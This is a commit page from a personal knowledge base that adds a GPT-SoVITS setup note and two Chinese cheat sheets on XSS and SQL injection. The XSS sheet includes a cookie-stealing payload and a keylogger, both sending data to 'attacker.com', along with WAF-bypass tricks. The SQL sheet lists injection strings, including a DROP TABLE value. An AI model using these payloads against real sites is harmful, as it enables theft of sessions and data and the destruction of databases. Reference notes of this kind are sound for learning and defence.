mei/kb
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

update(safe)

Browse Source
This commit is contained in:
mei 2025-08-14 16:13:31 +08:00
parent 4fb94b5d0a
commit 36c8b5c511
3 changed files with 83 additions and 0 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

21
docs/src/08_AI/06_GPT-Sovits.md Normal file
View File

@ -0,0 +1,21 @@
# GPT-Sovits
## Linux
推荐使用 miniforge:
1. `conda create --name GSV python=3.12`
2. `conda activate GSV`
3. `pip install -r requirements.txt`
在 linux 上运行 GPT-Sovits ，需要安装一些必要的依赖
1. 安装 MECAB 开发库: `sudo apt install libmecab-dev mecab`
2. 重新安装 `python_mecab_ko`: `pip uninstall python_mecab_ko && pip install python_mecab_ko`
3. 安装 opencc: `pip install opencc-python-reimplemented`
4. 安装 NTLK资源(用于输出英语):
```python
import nltk
nltk.download('averaged_perceptron_tagger_eng')
```

51
docs/src/33_后端/09_常见XSS注入手法.md Normal file
View File

@ -0,0 +1,51 @@
# 常见XSS注入手法
1. 存储型: `<script>alert('XSS')</script>`
2. 反射型: `<img src="x" onerror="alert('XSS')">` 变种: `<img src="javascript:alert('XSS')">` | `<img src="data:image/svg+xml;base64,PHN2ZyBpZD0ieCIg...">`
3. DOM-based XSS: `<a href="javascript:alert('XSS')">点击我</a>`
4. HTML 实体编码绕过: `&lt;script&gt;alert('XSS')&lt;/script&gt;` | `\u003cscript\u003ealert('XSS')\u003c/script\u003e` | `<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4="></iframe>`
5. 标签拆分绕过: `<scr<script>ipt>alert('XSS')</scr</script>ipt>`
6. 利用 `<svg>` 向量: `<svg onload="alert('XSS')"></svg>` | `<svg><script>eval('alert\x28"XSS"\x29')</script></svg>`
7. 利用事件处理器: `<body onload="alert('XSS')">` | `<div onmouseover="alert('XSS')">悬停我</div>` | `<a href="#" onclick="alert('XSS')">点击我</a>`
8. JavaScript 伪协议（javascript:）: `<a href="javascript:alert('XSS')">点击</a>` | `<a href="JaVaScRiPt:alert('XSS')">点击</a>` | `<a href="javascript:eval('alert\x281\x29')">点击</a>`
9. 利用 `<iframe>` 或 `<embed>`: `<iframe src="javascript:alert('XSS')"></iframe>` | `<embed src="data:text/html,<script>alert('XSS')</script>">`
10. 大小写混合绕过: `<ScRiPt>alert('XSS')</ScRiPt>`
11. 利用注释绕过: `<!--><script>alert('XSS')</script>-->`
## 常见攻击载荷
1. 窃取 Cookie: `<script>fetch('https://attacker.com/steal?cookie=' + document.cookie);</script>`
2. 重定向到钓鱼页面: `<script>window.location.href='http://phishing-site.com';</script>`
3. 键盘记录器:
```js
<script>
document.addEventListener('keypress', function(e) {
fetch('https://attacker.com/log', {method: 'POST', body: e.key});
});
</script>
```
4. 自动提交表单（CSRF + XSS）:
```js
<script>
let form = document.createElement('form');
form.method = 'POST';
form.action = '/delete-account';
document.body.appendChild(form);
form.submit();
</script>
```
## 绕过 WAF技巧
1. 使用 `String.fromCharCode()` 构造字符串:
```js
eval(String.fromCharCode(97,108,101,114,116,40,39,88,83,83,39,41))
// 等价于 alert('XSS')
```
2. 使用模板字符串（ES6）：``${alert`XSS`}``
3. 利用 top、parent、self 等全局对象：`top['alert']('XSS')`

11
docs/src/33_后端/10_常见SQL注入手法.md Normal file
View File

@ -0,0 +1,11 @@
# 常见SQL注入手法
1. 基本 SQL 注入: `' OR '1'='1`
2. 联合查询注入: `' UNION SELECT username, password FROM users --`
3. 报错注入: `' AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT password FROM users LIMIT 1))) --`
4. 时间盲注: `' AND IF(1=1, SLEEP(5), 0) --`
5. 布尔盲注: `' AND (SELECT COUNT(*) FROM users WHERE username = 'admin') > 0 --`
6. URL 编码绕过: `%27 OR 1=1 --`
7. 十六进制编码绕过: `0x27 OR 1=1 --`
8. 参数化查询验证: `user'input; DROP TABLE comments; --`
9. 输入过滤验证: `admin'; --`